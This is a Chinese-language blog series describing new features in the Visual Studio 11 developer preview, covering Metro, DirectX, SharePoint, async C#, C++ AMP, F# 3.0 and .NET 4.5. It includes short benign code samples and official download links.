原文出处：Visual Studio 11开发专栏
作者：itcastcpp

本系列文章经作者授权在看云整理发布，未经作者允许，请勿转载！

Visual Studio 11开发专栏

主要讲述微软下一代开发工具Visual Studio 2012的开发，Visual Studio 2012主要用于开发微软下一代操作系统Windows8与手机操作系统Windows phone8的应用程序。

微软于2011年9月15日在Build大会上推出的新一代开发工具。主要增加了对windows8 中的Metro界面的开发和 Windows Phone移动开发的强力支持。支持最新的.NET Framework 4.5 。

Visual Studio 11新增特性：

1. 为Windows 8开发Metro风格应用程序

Visual Studio 11中包含了诸多新特性，开发者可以用JavaScript、C#、Visual Basic和C++的语言开发Windows 8 Metro应用程序的工具。

有了Visual Studio 11，开发在人员可以在Expression Blend中使用JavaScript随意添加Metro风格和架构。

由于HTML5是动态的，除非它在运行，否则无法观看到网页的布局。 而Blend’s创新模式能够使你在设计过程中同步运行且方便查看。

2.增强（2D/3D）游戏开发

Visual Studio Graphics图像工具帮助游戏开发人员更具创造力。Visual Studio 11支持资源编辑器，视觉设计，Metro风格，增强可视化的2D/3D游戏开发。

Visual Studio 11 会在编辑器中为开发者提供经过改善的着色程序支持。 这种支持旨在提供更轻松的编辑方式以及更紧密的构建整合。 改善不仅仅限于文本编辑器，因为即将发布的版本会为创建着色特效引入可视化的设计器。 这意味着开发者可以使用设计器创建新的特效，实时地查看对特效做出的改变，然后从那个特效获得生成的 HLSL（高级着色语言，High-Level Shader Language）代码。我们可以按照时间点来查看对效果做出的改变，这在查看非静态效果时会很有用。

为了减少开发者所需要的外部工具数量，Visual Studio 11 在其中内建了资源查看器（asset viewer）。这不会取代创建内容的应用程序，查看器可以让开发者更易于查看内容，包括 .FBX 和 .DDS 文件，而不需要外部程序的辅助。

最后，Visual Studio 11 会增加调试工具，它让我们可以捕获 DirectX 帧、获得发送给 GPU 的所有命令，并且查看所有作为特定像素渲染（pixel's rendering）一部分而发生的事件

可查看、编辑图片和纹理，支持alpha channels和transparency。

视觉设计着色程序和效果文件。

调试和修改DirectX

3.代码克隆分析工具

Visual Studio提供这款工具，使开发人员能够重构代码，提高代码质量。但是这个过程依赖于开发，以确定这种可重复使用的代码是否可能发生。用Visual Studio11代码克隆分析工具检查代码，寻找重复的逻辑，使你要考虑到这个代码的可用性，即一个或多个常用的方法。该工具非常智能，它不仅能搜索代码相同的模块，而且还能搜索语义上类似的结构。

4.使用Team Explorer进行代码审查

此功能定义了Team Foundation Server中的工作流程，为团队成员的工作项目状态和路线审查请求节省时间。这些工作流程是独立于任何特定的过程或方法​​，你在项目期间的任何时间都能审查代码。

审阅者可以接受或拒绝审查，并响应与代码审查有关的任何消息或查询，可添加注释或者更多。

5.探索式测试（Exploratory Testing）和增强单元测试（Unit Testing）

快速创建错误报告

探索式测试工具，可以生成一个错误报告，并在报告中显示执行错误步骤，导致意外的行为。

创建测试范例

在执行错误步骤上以生成测试范例。

管理探索式测试

当测试完成后，您可以返回到Microsoft测试管理器，从而节省了测试的细节部分，包括信息、bug、时间。

相关下载：

MSDN用户官方下载地址：http://msdn.microsoft.com/en-us/subscriptions/default.aspx

微软将在当地时间9月16日上午10点提供普通用户开发者预览版的下载

Visual Studio 11开发者预览版下载地址：

http://go.microsoft.com/fwlink/?LinkId=225709

Team Foundation Server 11开发者预览版下载地址：

http://go.microsoft.com/fwlink/?LinkId=225714

Visual Studio 11新功能视频：http://channel9.msdn.com/events/BUILD/BUILD2011/TOOL-820F

赶紧下载VS11体验吧

http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144

Visual Studio 11版本中，用户将无法使用宏。这标志着：近十年来，头一个Visual Studio的版本无法允许向IDE 中随意嵌入宏扩展。不过，完整编译的扩展仍可以创建，新的项目模板也可以加入，这让整个过程变得更加方便。

根据Microsoft所做的使用率跟踪数据，Visual Studio中宏的使用人数不到开发人员总数的1%。这还不足以让Microsoft放弃这个功能，Visual Studio中的宏功能维护成本过高，是另外一个原因，与其他功能不同，对宏的支持，必须要随着Visual Studio每个新版本更新，并做大量令人疲倦的测试。理论上，用户应该可以在宏IDE中录制并播放任何功能，这给微软的维护增加了巨大负担。

Matt Kaufman说：宏IDE已经好几个版本都没有更新了。用户把它启动之后，很快就能看出来它像一个老版本的Visual Studio。更麻烦的是：它还是只支持Visual Basic。用户不能使用C#或是其他新的.NET语言来创建宏。

如前所述，对扩展性的支持现在包括一些新的项目模板。下表中的模板支持C#和VB：

Visual Studio Package：供过去的VSPackage风格插件使用。

Editor Classifier：供创建自己的语法高亮使用。

Editor Text Adornment：用来在编辑器窗口内创建带颜色文本。

Editor Viewport Adornment：用来放置与编辑器的视觉外观相关的视觉元素。

[VB/C#]工作项模板

[VB/C#]项目模板

VSIX Project：这是新的插件模型，在Visual Studio Gallery里面最常见。

Windows Forms Toolbox Control

WPF Toolbox Control

除了语言特定的模板之外，还有一个常用的扩展文件夹，包括：

Visual Studio Add-In：这是一个向导，让用户可以使用C#、VB、C++ ATL或C++ CLR创建add-in插件。

Visual Studio Package：另一个向导，让用户可以在C#、VB和C++之间选择。

Visual Studio Shell Isolated：用户用它可以创建基于Visual Studio IDE的应用。早期的例子可以参考AddOn Studio for World of Warcraft。

赶紧下载VS11体验吧

http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144

Visual Studio 11 Developer Preview版本在几个月之前就发布了出来，通过这个预览版，SharePoint开发人员可以了解Visual Studio 11中内置的有关SharePoint开发的新功能。Visual Studio 11内置支持的SharePoint版本仍然是SharePoint 2011。

关于对 SharePoint 的支持，两项突出的特性分别于列表和远程发布相关。 开发者不再需要通过手动编辑 XML 文件的方式来编辑 SharePoint 列表，现在可以通过新的列表设计器（List Designer）来完成这项任务。 并且，现在 SharePoint 解决方案可以发布到远程的 SharePoint 站点上（包括 Office 365 上的 SharePoint Online）。

可以了解使用Visual Studio 11开发SharePoint 2011应用程序的新功能。最有特色的，是Visual Studio 11中内置了Content Type设计器和List Template设计器，有了这些设计器的帮助，开发人员终于可以方便快捷的在自己的项目中添加内容类型和列表模板了，不再需要折腾让人头疼的CAML。

在刚刚装上Visual Studio 11，并体验了它内置的Content Type设计器与List Template设计器之后，第一个想法就是马上开始使用Visual Studio 11开发接下来的SharePoint 11程序。但随即发现这个想法暂时似乎行不通，首先，Visual Studio 11仅仅在Developer Preview阶段，稳定性恐怕很成问题，另外，笔者在Visual Studio 2011中使用了不少协助开发SharePoint应用程序的各种插件，这些插件恐怕还没法在Visual Studio 11中使用。最后也是最重要的一个理由，大部分项目都是需要和团队中的其他人协作开发的，在其他人都在使用Visual Studio 2010的情况下，恐怕没法一个人独自使用Visual Studio 11。

所幸Visual Studio 11内置了一个非常cool的特性，那就是它能向下兼容Visual Studio 2010的解决方案和项目文件，也就是说，如果使用Visual Studio 2010所创建的项目，当使用Visual Studio 11打开、编辑并保存后，仍然可以继续使用Visual Studio 2010打开，再对项目进行后续的编辑。这个特性需要Visual Studio 2010 SP1的支持。

首先，在Visual Studio 2010中新建一个SharePoint 2010项目。

使用Visual Studio 11打开这个项目，然后向项目中添加一个Content Type。

然后，就可以使用Content Type设计器来直接设计这个内容类型了。

对于每个Field，都可以直接通过Property窗口对它进行定制。

将项目保存，然后重新使用Visual Studio 2010打开这个项目，会发现没有任何问题。对于在Visual Studio 11中添加的SharePoint Project Item，同样可以双击打开再进行修改，当然，没法使用设计器了，只能直接修改其CAML。

有了Visual Studio 11的这个向后兼容新特性，SharePoint开发人员确实可以充分利用Visual Studio 2010和11这两个版本，同时使用两者来开发一个SharePoint 2010应用程序。

赶紧下载VS11体验吧

http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144

JavaScript 和交互性

在Visual Studio 11中，JavaScript成为构造Windows和Web应用程序的第一类语言，都被Visual Studio中最好的工具所支持。除了全面的语言支持ECMAScript 5，显著改善智能显示（包括在大的JavaScript文件上更好的性能和得到很大改善的精确度），编辑器支持例如“跳转到定义”的操作，而且完全支持对Visual Studio中其他支持语言的调试，Visual Studio现在也提供新的集成调试窗口，与HTML/JavaScript应用程序调试交互。

新的DOM Explorer窗口通过HTML Document Object Model (DOM)深入探索和操作元素，样式以及更多。

而且新的JavaScript控制台窗口提供对JavaScript的读－估计－打印循环(REPL)，直接集成到Visual Studio中。这给运行的应用程序提供了实时运行的窗口，支持任何JavaScript表达式的评估。这结果也支持可视化，如下列屏幕截图所示：

当计算表达式应用到当前应用程序的上下文时，你甚至可以定义新的功能，然后从控制台窗口直接使用这些功能：

C#，Visual Basic，和异步

通过C#和Visual Basic直接探索异步编程的集成。在Visual Studio 11开发者预览中，这已经成为了C# 5 和Visual Basic 11的一部分。

众所周知，异步编程是如何实现用户界面和可伸缩应用程序的响应，但这样的技术也很难实施。这些系统在每个操作只包含一次异步调用时仍然相对简单，但随着我们的世界发展为对一切都是以异步方式开放的，这样的操作变得很稀少。相反，在复杂的回调代码定位到最微不足道的模式之后，开发人员被迫写回调代码，像一个在调用时被排在另一个之后。几年来，当异步编程时，现代语言给我们的主要是不可用的控制流结构。现在，有了这些新的C# 和Visual Basic的异步语言功能，开发人员可以将他们当同步一样写异步代码，如所有使用这些语言提供的种种控制流结构，包括对循环的支持，条件，短接，和更多。

有了这些功能，我们可以为该设施提供Visual Studio的调试功能。例如，当调试时我们“跳过”（F10）一个声明，包括一次等待：

它会表现的像你期待的那样，移动到逻辑控制流中随后的行，哪怕该代码像一个重写的继续回调异步调度中的一部分。

C++ 和平行

Visual Studio对C++的支持。这不仅包括对C++11标准库，改进IDE支持（如引用突出显示和语义着色），和生成全部-本地Windows Metro样式应用程序的全部支持，也包括对平行提供丰富的新语言和库。

对Visual Studio 11中的Visual C++来说是新的，通过在他们的项目中利用大规模并行加速器（主要是GPUs），它使C++开发人员可以轻松编写代码。在常规的C++代码中，开发人员可以使用parallel_for_each方法调用lambda，该lambda被批注为“restrict(direct3d)”，这将导致编译器为lambda生成目标为DirectX加速器的代码。在下面的例子中，parallel_for_each方法被用来循环访问所有输出矩阵的指数，以计算两个输入矩阵的乘积。

          void MatrixMultiply(
    std::vector<float>& vC,
    const
    std::vector<float>& vA,
    const std::vector<float>& vB,
    int M, int N, int W)
    {
    array_view<const float,2> a(M, W,
    vA);
   array_view<const float,2> b(W, N,
   vB);
   array_view<writeonly<float>,2> c(M, N, vC);
   parallel_for_each(c.grid, [=](index<2> idx) restrict(direct3d)  {
   int row = idx[0]; int col = idx[1];
   float sum = 0.0f;
  for(int i =
   0; i < W; i++)
   sum += a(row, i) * b(i, col);
   c[idx] =
   sum;
   });
   }

不仅C++ AMP代码部分直接集成进源文件并用标准C++语法表示，Visual Studio也提供对这些内核的完整调试，支持基本的功能如断点和分步执行，而且提供对调试窗口如查看， 本地和并行栈，与新的GPU线程和并行查看窗口的完全支持。

C++ AMP不是Visual Studio 11中唯一针对并行现象的为本地代码而作的努力。当它决定可做的操作时，C++编译器现在也自动完成循环。例如，对下面的代码来说，编译器会尝试利用SSE指令在cpu上运行多个迭代的for循环作为单操作的一部分，这将大大加快计算速度：

          float a[1000], b[1000],
    c[1000];
    …
    for(int i=0; i<1000; i++)
    c[i] = a[i] + b[i];

C++编译器现在不仅自动向量化，还具有自动并行化的功能。而且包括Visual C++的并行库已经被极大扩展，包括更多的并行数据结构，并行算法，和一个更新的类似于在.NET Framework中被Task Parallel Library (TPL)使用的任务栏模式。

F# 和数据访问

并非所有语言都需要同样支持每个域和每个用例：如果他们这样做，会有多种语言需要更少的支持，。最终往往语言的发展迎合特定的域和特定的样式，而且我特别高兴我们对某一语言的投入成为了该规则的极好示例：即F#。通过Visual Studio 2010中的F# 2.0，我们提供了一种着重于加速计算复杂问题的解决方案。通过Visual Studio 11中的F# 3.0，我们继续保持着重于特别问题域的趋势，通过直接集成支持解决数据复杂问题。

F#是一种静态类型的语言，如同C#和Visual Basic，而且这种静态类型有很多优势。它通过支持像准确的智能提示的功能来提高开发经验。由于更多优化可用在编译时，它可以产生更好的性能。通过消除一些常见类型的错误，它也可以减少开发和测试成本。

然而，也有时候静态类型导致比动态类型需要更多代码。有一个极好的例子，世界上有非常丰富的信息，这在我们日常的软件生活中正在经历的越来越多。所有这些数据通常以非强类型方式进入我们的程序，在它公开到其他程序之前，首先需要分析和处理为强类型的对象。相比开发人员手动编程导入例程，这个问题已经被设计时代码生成处理为历史问题（例如，设计时工具导入一个Web服务描述然后生成必要的代理代码）。不幸的是，这种方法有问题，它与不断演变本质的数据源之间的交互性很差，如web上的数据。这会导致非常臃肿的客户端代码（为代表整个架构和元数据而生成的类型，不管客户端程序是否使用它们）。而且它没有顺利与脚本环境集成，如Visual Studio中的F#互动窗口。

通过F# 3.0中新的类型提供者机制，对F#程序和组件来说这种数据访问变的繁琐。同样，因为F#面向.NET Framework，用C# 或Visual Basic（或其他托管语言）写的应用程序可以通过F#组件利用这种新功能。使用F#编译器的可扩展机制，受影响的类型提供商可以给需要的库提供数据访问，在设计时和编译时用支持智能提示而且可扩展的方式可使类型和方法计算空间收益，。F# 3.0的库包括Odata，WSDL，和SQL (通过LINQ to SQL 和LINQ to Entities)的类型提供者，但是客户类型提供者也可能被写进目标任意数据源，如SharePoint列表和WMI提供者。

作为示例，请考虑一种想法去搜索Netflix目录与一部分人分享我的“S.”名字对象。Netflix公开一个Odata，这样就能被Odata类型提供商使用。

          open Microsoft.FSharp.Data.TypeProviders
    [<Generate>]
    type
    netflixCatalog = ODataService<"http://odata.netflix.com/Catalog/">
    let
    netflix = netflixCatalog.GetDataContext()
    query {
    for person in netflix.People do
    where (person.Name.StartsWith
   "S. ")
   sortBy person.Name
   take 5
   } |> Seq.iter(fun result ->
   printfn "%s" result.Name)

我们不仅能够轻易导入相关元数据和快速查询，也可以通过经验查看智能显示：

而且这样的代码不仅能在F#应用程序中写，也可以直接在F# 交互窗口中写：

赶紧下载VS11体验吧

http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144

搜索

Visual Studio环境中一个显著的增强就是让开发者能够快速找到他们所需要的关键信息或者功能。之前，开发者要通过工具窗口，列表，文档和对话窗口，来寻找特定文件，或者选项，或者引用程序集，正确的控件，和大量其他的目标。有了Visual Studio 11，通过一系列特性，搜索集成了IDE，我们称之为“在任意处搜索”。

想要快速找到正确的程序集引用？搜索功能现在已经集成进添加引用…对话框：

想要快速找到你苦苦搜寻的重要命令和选项吗？全新的Quick Launch功能让你能在Visual Studio上千的内容中进行搜索。Quick Launch不仅能帮助你找到命令或者选项，而且你还可以在下面的截屏中看到，这个功能还能让你了解键盘对应的快捷键。

想要在你的solution中快速找到特定文件吗？全新的Solution Explorer搜索功能能够让你通过文件名称来筛选。此外，solution explorer还支持查看文件包含的类和成员，同时工具窗口的搜索功能也应用这样的条目。

出现很多编译错误，想要快速找到相符的标准？现在在Error工具窗口中也可实现搜索了：

一些工具窗口不仅提供搜索功能，还能深入将它们和Visual Studio其他组件集成。比如，全新的parallel watch窗口就提供“用Boolean表达进行筛选”框：

如果提供了Boolean表达式，调试器就会为每个线程评估标准，只有那些表达式评估为true的线程会被显示：

正如你所看到的，“搜索”已经成为Visual Studio 11中开发集成的一部分了。想了解更多可用的详细信息，我推荐这篇博文，是Visual Studio团队写的。

寻找

和这个“在任何地方搜索”体验很相似的是，在文档中搜索文字，称之为“寻找”，这个体验在Visual Studio11中被简化了，为了最小化开发者必须处理的对话框数量和尽量减少开发者在代码外花费的时间。在Visual Studio 2010中，输入“ctrl+F”会弹出搜索和替换对话框：

现在在Visual Studio 11中，Find通过直接集成在代码窗口的控件启动：

正如在截屏中显示的，我不再需要管理独立的对话框，或者对付多次点击或单个的result窗口以查看我想找的文字，取而代之的是，当我在find控件中输入要寻找的内容，我文档中符合的所有文本就被高亮显示出来。其实，对那些了解并热爱.NET常规表达式的你们来说，一旦你们在regex中输入值就会获得实时的高亮结果。

Visual Studio团队还发表了更多详细介绍该新的Find体验的博文。

预览标签

你有多少次发现你的文档标签远远超过了你打开的文档？每次你点击“转到定义”或者打开另一个文件中的搜索结果，那个文件就会被打开。而那个文件会一直处于打开状态，直到被开发者从编辑器中特意地关闭。这种情况确实发生，即使那个文件只是暂时需要，或者它只是在预览目标内容时需要而已。

来看看Visual Studio 11预览标签。预览标签在文档窗口的右边，可以在预览需要时任意使用：

这从很大程度上减少了我们在Visual Studio文档窗口中遇到的复杂性。如果你想预览内容维持时间更长，你可以通过单击来“促使”当前文件从预览标签转换到到完整的代码窗口。

项目往返

有时团队成员使用的是Visual Studio不同的版本，在这样的团队环境下工作往往需要一些技巧。一旦团队中一位成员使用了新版Visual Studio来做项目，那个项目升级之后，较早版本的Visual Studio就不能用了。这就迫使团队要维护多个项目文件来支持不同版本的Visual Studio。

有了Visual Studio 11，项目往返就成了一流功能。用Visual Studio 2010创建的项目可以在Visual Studio 11中打开编辑，更重要的是，它还能重新在Visual Studio 2010中使用（需要安装SP1）。只要项目没有使用只能被Visual Studio 11支持的新项目功能（比如更新C#应用程序来面向.NET Framework 4.5而不是.NET Framework 4）来修改，团队就不用一次更新所有的Visual Studio。这样团队的成员可以使用Visual Studio 2010，也可以使用Visual Studio 11，相互都能处于和谐状态。

更多

一些在代码理解和导航方面的改进，使搜索，预览以及项目往返运行更好。

比如，在Visual Studio 2010中，C#和Visual Basic有一个功能叫做“引用高亮”，在编辑器中点击token，会让编辑器高亮其他正在使用的token。在Visual Studio 11中，这个功能C++也适用了：

在这个截屏中，我点击了一个 “multiplyBy2”，其他三个使用这个token就被IDE高亮了。这个截屏还展示了句法代码颜色，这是Visual Studio 11中Visual C++的全新内容。Visual C++还包含了对代码片段的支持，以及C++/CLI的智能感应。

IDE对F#的支持也在Visual Studio 11中得到了改进。比如，F#开发者可以享受改进后的参数辅助，例如在输入函数或者方法调用时，每个参数的信息会随着你的输入显示：

此外，现在使用Visual Basic的开发者可以利用调用call hierarchy窗口。这个工具窗口分析solution中所有函数和方法的调用，让开发者更方便理解符合他们设计的函数（Visual Studio 11中的全新solution explorer有提供这些功能）：

赶紧下载VS11体验吧

http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144

特定于特定的平台技术。无论正在构建Windows 8、 Windows Phone、 Windows Azure、Microsoft Office、或之外的应用程序， Visual Studio 提供了特定于平台的工具来形成最佳体验。

DirectX

视频游戏是一个巨大的io 11大大改善了对HLSL的支持来构建集成，从编写和编译代码，到着色、 缩进、 和在编辑器中显示大纲：行业，已不足为奇。在 Microsoft 平台上，DirectX 是构建游戏的基础。在 Visual Studio 11，微软致力于提高游戏开发提验，特别是在三个领域： 渲染、资源和调试。第一个改进领域是围绕更容易为开发人员构建"渲染"展开。着色器是一块在GPU中运行，用来计算渲染效果的代码，在与 DirectX一起使用时，渲染器通常都是以高级着色器语言 (HLSL) 编写的。Visual Stud

除了文本的体验之外，不过，可视化设计器允许你以图形方式创建效果，而无需显式编写像素着色器代码。这样能够试验，您可以看到图在每个阶段的输出。在这里，我以图形方式创建了一个非常简单的渲染器器，它只需两个常量颜色值并将其添加在一起：

Visual Studio支持导出图表到HLSL中：

可以在该编辑器中做一些非常复杂的效果，它还支持实时模式，来随着时间的推移查看不同的效果。下面是此功能的开发团队曾用作测试用例的示例。而无法从这张静的截图中判断，此图中的很多节点动画基于"时间"节点，这一点我已经强调了，进入图形。

改进的第二个领域是围绕游戏的资源。开发游戏和开发其它类型的应用程序之间的区分因素之一是游戏通常有大量的非代码资源。从历史上看，这些文件很大程度上对开发人员是不透明的。如果开发人员想要查看图像，或调整模型，开发人员通常需要切换到一个完全不同的工具集，或获取艺术家/设计师的协助。现在使用 Visual Studio 11时，许多这些资源 （如.FBX 3D模型或 DDS 图像）可以直接在 IDE 中查看和使用。虽然 Visual Studio没有想要成为一个稳健的资产创作工具，但这种支持可以帮助开发人员了解这些资产是如何融入游戏中的。

改进的第三个领域是围绕调试。当使用DirectX开发应用程序时，传统的面向 CPU 的调试器往往是不够的，开发人员需要工具来了解GPU 渲染管道行为。例如，开发人员可能需要了解为什么某个实体在视图里是灰暗的，或为什么某个特定的像素渲染了错误的颜色。使用DirectX时，Visual Studio 11 有一套工具可以帮助调试代码中的此类错误，捕获DirectX框架，获取所有发送到 GPU的命令的历史记录，查看某个特定像素渲染时发生的所有事件。

总之，游戏开发人员应该能发现， Visual Studio 11 开发人员预览版为他们提供了一个功能强大的工具集，可以改进解决方案所需时间和结果的质量。

SharePoint

SharePoint 是微软非常成功的业务。正如在十月份的Microsoft SharePoint 会议 2011 的基调中所述，微软已经为 SharePoint 售出了超过 12500 万许可证。此外，之前 SharePoint 往往被视为一个部门的解决方案，而现在超过 67%的企业客户在组织中部署了它来供每个人使用。鉴于 SharePoint 的成功，我们致力于确保 Visual Studio 为开发人员提供卓越的体验来针对平台构建自定义解决方案。

Visual Studio 2010 见证了许多功能的采用，它与SharePoint大大改善了开发： SharePoint 应用程序的"F5 调试"，支持 IntelliTrace，项目模板，集成SharePoint到服务器资源管理器中，以及更多。Visual Studio 11 保持了这一趋势，将进一步启用这个重要的平台。

在 SharePoint 开发中，更为常见的任务之一是创建存储信息的列表。在 Visual Studio 2010中，创建新的列表定义需要手动编辑 XML 文件来定义列表的详细信息，包括字段，列表应如何显示在不同的视图中，等等。在 Visual Studio 11 开发人员预览版中，如果您选择的话，你仍然可以手动编辑这些文件，但这已不再是必需的。相反，此次发布包括一个新的列表设计器来定义这些琐事以及配置这些列表。在这里我定义了一个示例，它会帮我跟踪这个假日季节我为家人和朋友购买礼物的情况：

从添加新项目对话框中创建我的列表后, 新列表被添加到了我的解决方案中，我能够使用设计器来对其进行配置。

当然，从 Visual Studio 中调试我的解决方案会允许我去看我在 SharePoint 中努力的结果：

既然，我有了一个我想要的解决方案，我可以利用Visual Studio 11的另一个新功能： 能够发布到远程 SharePoint 站点 （包括在Office 365中 的 SharePoint Online） 和一个使之容易做到的向导。

一旦发布后，我的解决方案就可用了，以供激活我的SharePoint在线帐户：

这只是包括在 Visual Studio 11中新SharePoint 开发功能的一瞥。随着支持在沙盒环境中开发 web 部件，性能和可靠性改进，简化了模板，改进 JavaScript 智能感知，以及更多，在 Visual Studio 11 中Sharepoint 开发变得更轻松、 更愉快了。

赶紧下载VS11体验吧

http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144

性能

对.NET Framework 4.5来说，在性能改进上下了很多功夫，无论是在改进现有代码性能方面，还是在编写代码方面都更快速，更灵活，可扩展性更强，

公共语言运行库（CLR）开发团队十分关注改善运行库环境本身的性能。有了像背景服务器垃圾收集器，多核背景JIT编译和优化配置的导论后，托管应用程序（尤其是服务器上的）现在可以更快速启动，拥有更高性能，运行更流畅，延迟也减少了。

性能改进超越了运行库执行环境，例如Framework内的核心组件被内部重写，以在主要场景中提供改进的性能。比如.NET中的Stream类存在于大多数I/O相关操作的中心位置，用Stream来异步读写是很常见的，而现在这些操作在.NET 4.5中就少了许多。另一个实例就是，WPF中的项目控件在处理某类数据时也更快了。

在这个发布中，这项Stream工作就是我们非常关注异步的一部分。C#和Visual Basic在编写异步代码时，扩展了对一流语言的支持。这个支持并不局限于语言，并加入了.NET Framework的库。全新的基于任务的API也被添加进Framework，包括贯穿于网络和网页服务堆中的BCL类型，同时也添加到了System.Xml和System.Data库中，以及更多。

网络

如今很少能看到独立应用程序，就是那种不用某种方式进行交流的应用程序。.NET一直以来有着丰富的高质网络编程库，无论是对低级的基于套接字的编程还是高级的通过网络服务进行的通信都很有用。.NET 4.5对开发越来越多的互相关连的应用程序提供根本的支持。虽然在.NET 4.5中有很多有趣的与网络相关的改进，在这里特别介绍三个最具代表性的。

WebSocket是一个全新的双向通信协议，它支持客户端与服务器间低延迟通信。这对执行交互式的应用程序来说很棒，比如在线游戏，它会受益于服务器和客户端的“推动”，而且.NET 4.5还包括在ASP.NET和在WCF中对WebSockets的支持。.NET 这次的发布还出现了全新的HttpClient类，它能让客户端和服务器更简单有效地使用现有网络API。

任务和WCF的整合。有了先前提及的语言支持，跨越Framework的异步API通过任务就公开了。除了这些.NET中包含的API，还有通过Visual Studio生成的API。由Add Service Reference…对话框创建的WCF网络服务终端是这类API的一个重要部分。在先前的发布中，这个工具默认只在同步操作时生成，你可以使用高级配置对话框来选择公开异步操作。现在，在Visual Studio 11开发者预览版本中，默认情况下工具不仅仅生成异步操作，它还会使用基于任务的异步模式。

[![clip_image001](http://box.kancloud.cn/2016-04-01_56fdf14b1a361.jpg "clip_image001")](https://byfiles.storage.live.com/y1p-uuXB45fqoen9dKbKq7hWVxvhfJ5Yv4WdmgQsOVik2pCj2VDmBI7UpUhXP5bLAG2FuhuHPw-IGs/ServiceReference.png?psid=1)

这就意味着所有你添加服务引用的网络服务会即时支持在等待异步方法。以下是使用其中一个生成的代理来做异步调用，来搜索[Bing](http://bing.com/)的例子：

[![clip_image002](http://box.kancloud.cn/2016-04-01_56fdf14b334ca.jpg "clip_image002")](https://byfiles.storage.live.com/y1pZfze9XU_6tlW_BunzkiKLOIobSrbU7li8p3qOIW0GShWKF3qpzIhhneTfdoS15EBHwI6MxNX9zc/QueryBing.png?psid=1)

**互操作性**

Framework本身只包含你的应用程序所使用的库集之一，如果没有这个概念，那么来看.NET Framework的改进就是不完整的。除了你所依赖的.NET Framework中的所有库，你还可以使用自己创建的，或者第三方创建的库。一直以来，很多在你的应用程序中使用的库只是在Windows公开的操作系统功能顶部的一层简单封装，例如访问文件系统，访问音频和视频硬件等等。自从.NET第一次的发布以来，CLR就提供了互操作的功能，但只是实验性阶段。

有了.NET 4.5和Windows Runtime（WinRT）的到来，需要创建这样的互操作包装就成了历史。通过CLR的改进，你的.NET应用程序可以为那些组件引用metadata文件，CLR会照管需要的互操作详情，让你能像使用.NET库中的组件一样使用它们。这对开发者来说是个天大的喜讯。

BCL，托管扩展型Framework（MEF），System.Xml， System.Net，[WPF](http://msdn.microsoft.com/en-us/library/bb613588(v=VS.110).aspx)，[ADO.NET](http://msdn.microsoft.com/en-us/library/ex6y04yf(vs.110).aspx)，[ASP.NET](http://msdn.microsoft.com/en-us/library/hh420390(v=VS.110).aspx)， [WCF](http://msdn.microsoft.com/en-us/library/dd456789(v=vs.110).aspx)，[Windows Workflow Foundation](http://msdn.microsoft.com/en-us/library/hh305677(VS.110).aspx)，[并行计算](http://blogs.msdn.com/b/pfxteam/archive/2011/09/17/10212961.aspx)等等。都值得深入研究！

赶紧下载VS11体验吧

[http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144](http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144)

Metro界面的开发模板

新增了驱动开发支持

改进的C++ 11标准的支持

标准模板库
作为在Visual Studio 11开发人员预览版的C + 11规范的支持的一部分，标准模板库（STL）支持在Visual Studio扩展，以提供额外的编程结构，规范要求。亮点包括以下内容：

支持新头文件，，，，，，，并。

为了优化存储资源的使用，所有容器都较小，字节都缩减了。

其他C ++ 11增强

升级的迭代器：由于在C + 11标准，升级的迭代器所允许的，

无限制的lambda表达式，这是代码的开头，一个空的λ指针[]和捕捉没有局部变量，现在隐式转换为函数指针由C + 11标准的要求。

作用域枚举支持。在C + +枚举类枚举键是现在支持。

VISUAL C + +编译器和链接

自动矢量器。最大的潜在的性能收益之一是并行而不是按顺序做的事情。的Visual Studio 11开发人员预览版提供任务级别的并行性，而且在循环水平，自动。 C + +的编译器会自动向量化循环，如果可能的话。矢量重组一个循环，例如，求和循环，使CPU可以同时执行多个迭代。通过使用自动矢量化，可循环快8倍的支持SIMD指令的CPU上执行时。例如，大多数现代处理器支持SSE2指令集，它允许编译器指示处理器，4个数字，在时间上做数学运算。

因为编译器可以识别可向量化的循环，当您编译您的代码，这会自动发生。

自动parallelizer。的Visual Studio 11开发人员预览版改进的方式，你可以利用多处理器和多核硬件的优势。随着自动parallelizer，一个循环是重组，因此，它可以在同一时间执行多个线程。这意味着你的应用程序可以利用多核处理器和多处理器的优势，分发大块的工作到所有可用的处理器。 parallelizer自动重组循环和执行多个任务，而不需要任何新的代码添加到您的应用程序。你可以告诉编译器的循环使用＃pragma并行指令并行。

自动向量化和自动并行化之间有一些关键的差别。首先，自动矢量化总是和无需用户交互，而自动并行化要求程序员决定将并行的循环。此外，矢量提高单核CPU，支持SIMD指令循环的性能，同时并行提高了多CPU和多核CPU的循环性能。这两种功能可以一起工作，使一个矢量的循环，然后跨多个处理器并行。

C + +加速大规模并行处理（AMP）的支持。 C + +的AMP加速你的C + +代码的执行，通常是作为GPU独立显卡的数据并行硬件的优势。在C + + AMP的编程模型，包括多维数组，索引，内存传输，瓦片，和数学函数库。 C + +的AMP语言扩展和编译器的限制，使您能够控制数据是如何从CPU转移到GPU和背部。

Visual C + +库改进

并行程序设计的改进

硬件移动多核心和多核心的架构，开发人员可以不再依赖不断增加，单核的时钟速度，以提高应用程序的性能。在C + +并发命名空间的并行编程支持使开发人员能够利用这些新架构的优势。

在Visual Studio 2010中，我们看到引进强大的C + +并行库，如并行模式库。我们还推出了概念来表达复杂的数据流管道的并发优势。在Visual Studio 11开发人员预览版，这些库已经扩展提供了更好的性能，更多的控制，和更丰富的并行模式，开发人员需要最为重要的支持。现在提供的广度，包括：
并行模式库，它支持的fork - join并行（parallel_for，parallel_for，parallel_for_each，parallel_sort，parallel_reduce，parallel_transform）。
一个丰富的基于任务的编程模型，支持异步和延续。

代理和消息，这让开发人员表达数据流管道，自然分解成并发单位。

并发安全的容器包装，它提供了线程安全版本的std：：priority_queue等等。

IDE改进

在Visual C + +中的Visual Studio 11开发人员预览版，集成开发环境（IDE）工具显著的改进，以帮助您更高效的编码在C + +。如需更多有关其他IDE增强信息，请参阅为Visual Studio 11开发人员预览版产品亮点。

Visual Studio模板支持。您可以现在作者C + +项目和项模板使用Visual Studio模板技术。这是以前并不支持的C + +。

